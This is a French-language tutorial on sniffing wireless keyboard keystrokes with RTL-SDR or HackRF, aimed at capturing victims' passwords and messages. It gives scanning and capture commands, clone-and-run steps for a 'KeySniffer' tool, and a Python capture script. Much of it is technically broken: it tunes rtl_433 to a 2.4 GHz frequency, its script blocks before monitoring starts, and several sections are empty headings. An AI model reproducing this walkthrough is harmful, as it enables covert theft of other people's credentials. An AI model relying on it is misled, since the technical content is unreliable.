⚠️ Avertissement

Ce tutoriel est fourni à des fins éducatives uniquement. L'interception de signaux de claviers sans fil sans autorisation explicite est illégale et peut entraîner des poursuites judiciaires. Utilisez ces techniques uniquement dans un cadre légal et pour des tests de sécurité légitimes.

Interception de Claviers Sans Fil (KeySniffer)

Objectif

Utiliser un dispositif de réception radio pour intercepter les frappes d'un clavier sans fil non sécurisé, permettant de récupérer des informations sensibles telles que des mots de passe, des messages, ou des données d'identification.

Prérequis

Tutoriel détaillé

1. Installation des Outils Nécessaires

2. Configuration du RTL-SDR ou du HackRF

Lancer GQRX pour scanner les fréquences disponibles :

gqrx

Scanner la plage de fréquences utilisée par les claviers sans fil (généralement entre 2.4 GHz et 2.5 GHz pour les appareils non sécurisés).

3. Capture des Signaux Clavier

Utiliser rtl_433 pour capturer les données transmises :

rtl_433 -f 2.433e9

Observer les paquets et noter les patterns de transmission des touches.

4. Décryptage des Données avec KeySniffer

KeySniffer est un outil qui permet d’intercepter et déchiffrer les frappes de clavier. Cloner le dépôt :

git clone https://github.com/keysniffer/keysniffer.git
cd keysniffer
sudo make

Lancer l’outil pour commencer à capturer les frappes de touches :

sudo ./keysniffer -d /dev/rtl_sdr

Lire les frappes interceptées et observer les mots de passe ou autres informations saisies.

5. Automatisation avec un Script Python pour la Capture Continue

Automatiser la capture de frappes de clavier avec un script Python qui utilise rtl_433 et analyse en temps réel.


import os
import time

def start_capture():
    print("[*] Capturing keyboard signals...")
    os.system("rtl_433 -f 2.433e9 > /tmp/keyboard_capture.log")

def monitor_keystrokes(log_file):
    print("[*] Monitoring keystrokes...")
    with open(log_file, 'r') as f:
        while True:
            line = f.readline()
            if line:
                print(f"[Key Stroke] {line.strip()}")
            time.sleep(0.5)

if __name__ == "__main__":
    log_file = "/tmp/keyboard_capture.log"
    start_capture()
    monitor_keystrokes(log_file)
        

Ce script lance une capture continue et affiche les frappes interceptées en temps réel, offrant un moyen simple de surveiller les activités des claviers sans fil.

6. Sécurisation et Bonnes Pratiques

Validation et Compatibilité

Tester sur plusieurs types de claviers sans fil (Logitech, Microsoft, etc.) pour vérifier la compatibilité des fréquences et des transmissions.